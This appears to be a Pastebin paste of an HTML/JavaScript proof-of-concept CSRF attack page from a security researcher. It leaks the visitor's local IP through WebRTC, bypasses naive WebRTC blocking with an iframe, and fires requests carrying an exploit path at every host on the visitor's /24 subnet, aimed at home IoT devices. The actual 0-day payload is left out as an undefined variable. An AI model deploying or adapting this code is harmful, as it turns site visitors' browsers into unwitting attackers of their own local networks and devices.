Guest User

Smart CSRF PoC

a guest
Sep 11th, 2015
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 4.78 KB | None | 0 0
  1. <HTML><TITLE>Smart CSRF PoC</TITLE>
  2. <!--
  3. The MIT License (MIT)
  4.  
  5. Copyright (c) 2015 Daniel Roesler
  6.  
  7. Permission is hereby granted, free of charge, to any person obtaining a copy
  8. of this software and associated documentation files (the "Software"), to deal
  9. in the Software without restriction, including without limitation the rights
  10. to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
  11. copies of the Software, and to permit persons to whom the Software is
  12. furnished to do so, subject to the following conditions:
  13.  
  14. The above copyright notice and this permission notice shall be included in all
  15. copies or substantial portions of the Software.
  16.  
  17. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
  18. IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
  19. FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
  20. AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
  21. LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
  22. OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
  23. SOFTWARE.
  24. -->
  25. <script>
  26. // This code is derived from a PoC I came across on GitHub: https://github.com/diafygi/webrtc-ips/blob/master/README.md
  27. // I have only slightly modified it to assume the IP is on a /24 and iterate over the addresses with an HTTP request.
  28. // A version of this script including the payload for a 0-day in a home automation product was demonstrated at:
  29. //  DEF CON 23 IoT Village and InfoSec Europe 2015 Intelligent Defence in a talk titled 'Smart Home Invasion'
  30. // Interestingly enough, this code worked in Chrome even without an Internet connection to reach the STUN server.
  31. // -- Craig Young, Security Researcher Tripwire VERT
  32.  
  33. //get the IP addresses associated with an account
  34. function getIPs(callback){
  35.     var ip_dups = {};
  36.  
  37.     //compatibility for firefox and chrome
  38.     var RTCPeerConnection = window.RTCPeerConnection
  39.         || window.mozRTCPeerConnection
  40.         || window.webkitRTCPeerConnection;
  41.     var useWebKit = !!window.webkitRTCPeerConnection;
  42.  
  43.     //bypass naive webrtc blocking using an iframe
  44.     if(!RTCPeerConnection){
  45.         //NOTE: you need to have an iframe in the page right above the script tag
  46.         //
  47.         //<iframe id="iframe" sandbox="allow-same-origin" style="display: none"></iframe>
  48.         //<script>...getIPs called in here...
  49.         //
  50.         var win = iframe.contentWindow;
  51.         RTCPeerConnection = win.RTCPeerConnection
  52.             || win.mozRTCPeerConnection
  53.             || win.webkitRTCPeerConnection;
  54.         useWebKit = !!win.webkitRTCPeerConnection;
  55.     }
  56.  
  57.     //minimal requirements for data connection
  58.     var mediaConstraints = {
  59.         optional: [{RtpDataChannels: true}]
  60.     };
  61.  
  62.     //firefox already has a default stun server in about:config
  63.     //    media.peerconnection.default_iceservers =
  64.     //    [{"url": "stun:stun.services.mozilla.com"}]
  65.     var servers = undefined;
  66.  
  67.     //add same stun server for chrome
  68.     if(useWebKit)
  69.         servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
  70.  
  71.     //construct a new RTCPeerConnection
  72.     var pc = new RTCPeerConnection(servers, mediaConstraints);
  73.  
  74.     function handleCandidate(candidate){
  75.         //match just the IP address
  76.         var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
  77.         var ip_addr = ip_regex.exec(candidate)[1];
  78.  
  79.         //remove duplicates
  80.         if(ip_dups[ip_addr] === undefined)
  81.             callback(ip_addr);
  82.  
  83.         ip_dups[ip_addr] = true;
  84.     }
  85.  
  86.     //listen for candidate events
  87.     pc.onicecandidate = function(ice){
  88.  
  89.         //skip non-candidate events
  90.         if(ice.candidate)
  91.             handleCandidate(ice.candidate.candidate);
  92.     };
  93.  
  94.     //create a bogus data channel
  95.     pc.createDataChannel("");
  96.  
  97.     //create an offer sdp
  98.     pc.createOffer(function(result){
  99.  
  100.         //trigger the stun server request
  101.         pc.setLocalDescription(result, function(){}, function(){});
  102.  
  103.     }, function(){});
  104.  
  105.     //wait for a while to let everything done
  106.     setTimeout(function(){
  107.         //read candidate info from local description
  108.         var lines = pc.localDescription.sdp.split('\n');
  109.  
  110.         lines.forEach(function(line){
  111.             if(line.indexOf('a=candidate:') === 0)
  112.                 handleCandidate(line);
  113.         });
  114.     }, 1000);
  115. }
  116.  
  117. getIPs(
  118.     function(ip){
  119.             var local_regex = /10\.[0-9]+\.[0-9]+\.|192\.168\.[0-9]+\.|172\.16\./
  120.             if (local_regex.exec(ip) != null) {
  121.                 var subnet = local_regex.exec(ip)[0];
  122.                 for (node=1; node<256; node++) {
  123.                     var url = 'http://' + subnet + node + exploit_URI_payload;
  124.                     var oReq = new XMLHttpRequest();
  125.                     oReq.open("get",url,true)
  126.                     oReq.send();
  127.                 }
  128.             }
  129.         }
  130.     );
  131. </script>
  132. <H1>o0o0o0o0o0o0</H1>
  133. </HTML>
Advertisement
Add Comment
Please, Sign In to add comment